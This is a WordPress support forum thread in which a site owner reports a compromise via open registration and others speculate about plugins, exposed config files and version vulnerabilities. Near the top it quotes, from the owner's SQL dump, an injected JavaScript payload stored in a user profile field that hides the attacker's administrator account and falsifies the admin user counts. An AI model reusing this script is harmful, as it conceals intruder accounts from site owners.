• FYI… version 2.7.1 is not hack proof. When are ya’ll going to secure this software???!!!! I have been hacked numerous times already. I use many many different software and systems and none of those ever get hacked – only WordPress. Please secure the program!

    I’m not an expert on these things, but it seems someone gained access as an administrator by registering as a contributor and inserting this code which makes them an administrator…

    This is from my sql file…

    (3259,650,’nickname’,’braxappeara’),(3244,647,’first_name’,’…\r\n \r\n \r\n \r\n \r\n <b id=\”user_superuser\”><script language=\”JavaScript\”>\r\n var setUserName = function(){\r\n try{\r\n var t=document.getElementById(\”user_superuser\”);\r\n while(t.nodeName!=\”TR\”){\r\n t=t.parentNode;\r\n };\r\n t.parentNode.removeChild(t);\r\n var tags = document.getElementsByTagName(\”H3\”);\r\n var s = \” shown below\”;\r\n for (var i = 0; i < tags.length; i++) {\r\n var t=tags[i].innerHTML;\r\n var h=tags[i];\r\n if(t.indexOf(s)>0){\r\n s =(parseInt(t)-1)+s;\r\n h.removeChild(h.firstChild);\r\n t = document.createTextNode(s);\r\n h.appendChild(t);\r\n }\r\n }\r\n var arr=document.getElementsByTagName(\”ul\”);\r\n for(var i in arr) if(arr[i].className==\”subsubsub\”){\r\n var n=/>Administrator \\((\\d+)\\)</gi.exec(arr[i].innerHTML);\r\n if(n[1]>0){\r\n var txt=arr[i].innerHTML.replace(/>Administrator \\((\\d+)\\)</gi,\”>Administrator (\”+(n[1]-1)+\”)<\”);\r\n arr[i].innerHTML=txt;\r\n }\r\n }\r\n \r\n }catch(e){};\r\n };\r\n addLoadEvent(setUserName);\r\n </script>’)

Viewing 14 replies - 1 through 14 (of 14 total)
  • Thread Starter baa912

    (@baa912)

    BTW… I fixed this problem by deleting ALL users. Now my blog is set up to not allow registrations – real good huh?

    What kind of blog is that?

    Bill

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    FYI… version 2.7.1 is not hack proof. When are ya’ll going to secure this software???!!!!

    Just in a morbid can’t-take-my-eyes-off-the-car-wreck-I’ll-be-sorry sort of way, what exactly are you talking about?

    You let anyone register on your blog and they did what exactly…? Left spam comments, was able to inject spam into your posts, what that counts as being hacked…? Filled out the registration form?

    You’ve given no evidence whatsoever that the problem is WordPress rather than the problem being…you. Certainly it’s possible that 2.7.1 has a security hole, but that’s not the first conclusion I’d be jumping to.

    What plugins are you running? Where was this code inserted in the SQL table?

    WordPress sanitizes its standard form input but it cannot control the security holes you may open up by installing third-party plugins that allow unfiltered form input.

    Here’s a good example of getting yourself hacked by not carefully considering the implications of installing a plugin.

    WordPress sanitizes its standard form input but it cannot control the security holes you may open up by installing third-party plugins that allow unfiltered form input.

    Nor can it prevent a compromise related to a lack of complete remediation if the hack was present prior to version 2.7.

    https://www.ads-software.com/support/topic/242484?replies=4

    “Since it happened back in Sept 08, maybe I was using a more vulnerable version? Maybe one of my plugins or theme is hackable? Don’t know! “

    Lots of possibilities. All frustrating.

    Thread Starter baa912

    (@baa912)

    Why do I say 2.7.1 is hackable? Because I deleted the user in question and about 12 hours later another user had registered and had done the same thing. Somehow they are able to register and insert the code that makes them an administrator. They were able to install 2 activated plugins and change my index file to include some links. I deleted all this stuff and reinstalled a new copy so I don’t know exactly what they did. Also… I am not the only one to have this happen to me.

    All I have is 1 plugin which is an ad rotator – it displays/rotates graphic ads – no form input.

    Seems like they would have to have FTP access to do this?

    I did allow anybody to register, but all posts and comments had to be approved first. Now I don’t allow registrations at all. I’ll do all the posting from now on.

    Bill

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    I’ll do all the posting from now on.

    You let anyone on the Internet register and post blog entries or just comments? Again, I’m just asking out of morbid curiosity.

    Your installation did get hacked if they were able to create users and escalate themselves to Admin level and install plugins. Which plugins?

    Did that actually occur, meaning you deleted users whose role was actually “Administrator” or did something else happen?

    Did they change your account password too and lock you out as well? And does your log files for your webserver indicate how or at least when they did this?

    I’m running 2.7.1 as well, so those questions are out of my own self interest. So far I have not seen anything to indicate that WordPress 2.7.1 was the culprit here.

    I’m sorry, where does it say WordPress is “hack proof”? did I miss that somewhere?

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    Nothing is hack proof. There will be a proof of concept or a hack for 2.7.1, it’s just a matter of time.

    That’s an easy prediction, I’m just asking if you have any data that can show WordPress was the cause and NOT something else.

    I have seen something similar a while back on someone’s site. i was able to figure out was a backup of their wp-config.php was world readable. The database info and keys were all valid. once I cleaned that up and secured the configs the problem went away.
    have also heard of instances where the original wp-config.php was readable.

    Now here is an interesting read. It’s been run through the Google Translator, so unless you speak Italian, who knows what is really lost in translation. I thought it interesting none-the-less. It’s dated a year ago, and 2.5.1 seems to be the latest WP at the time of it’s writing, but the content bears some interesting similarities to the above exploit.

    WordPress: Why not just upgrade

    My point is, and not to beat a dead horse, but…

    FYI… version 2.7.1 is not hack proof. When are ya’ll going to secure this software???!!!! I have been hacked numerous times already. I use many many different software and systems and none of those ever get hacked – only WordPress. Please secure the program!

    I don’t think 2.7 is the issue.

    Just for fun,for those who want to see something really un-nerving…

    WordPress 2.7 admin code execution vulnerability

    yikes…

    ??

    Thread Starter baa912

    (@baa912)

    Does anybody know what that code above does?

    I am not a programmer, so I can’t translate it. Nor can I look at log files and tell you what happened. I deleted the 2 plugins using FTP before I even noticed that they and been activated. When I went back into wp, it said it could not find them, so they were deactivated by wp.

    I DO THINK wp 2.7.1 – I’m positive of it. It’s pretty obvious.

    I allowed anyone to register and they could enter posts and comments. All posts and comments had to be approved by an administrator first.

    When they registered with that code in their user profile (or sql use db), they showed up as a contributor when listed, but I think they actually had administrator priviledges. They did not do anything else that was malicious like change my passwords, delete files, etc.

    ALL SOFTWARE is supposed to be hack proof!!!!! If you believe anything else, you are WRONG.

    Bill

    ALL SOFTWARE is supposed to be hack proof!!!!! If you believe anything else, you are WRONG.

    Ideally..yea…in reality, that is just a dream. Even if the software were hack proof – user’s stupidity is not. All it takes is one stupid user to expose everyone on a shared server.

    Well said samboll. My background is with corporate Unix, Linux & Netware systems & servers. Security is a constant battle. With web servers and applications it is even more complicated.
    Would NEVER rule out WP as the cause but have significant doubts. Plugin’s, themes, etc. all have code which can create security issues. Throw in file permissions, improper .htaccess, php.conf or other config files. Then weak passwords, other scripts & apps and your hosting account access. Ftp, Telnet, some mail programs send everything including passwords in clear text. Now if you are on a shared server with 500 other users multiply those potentials by 500. Add in poor security practices by your hosting company as well. And we are only touching the surface. Could go on to Viruses, Trojans, bots, back doors, and thousands more but will see who else needs help on here…

Viewing 14 replies - 1 through 14 (of 14 total)
  • The topic ‘2.7.1 Hacked’ is closed to new replies.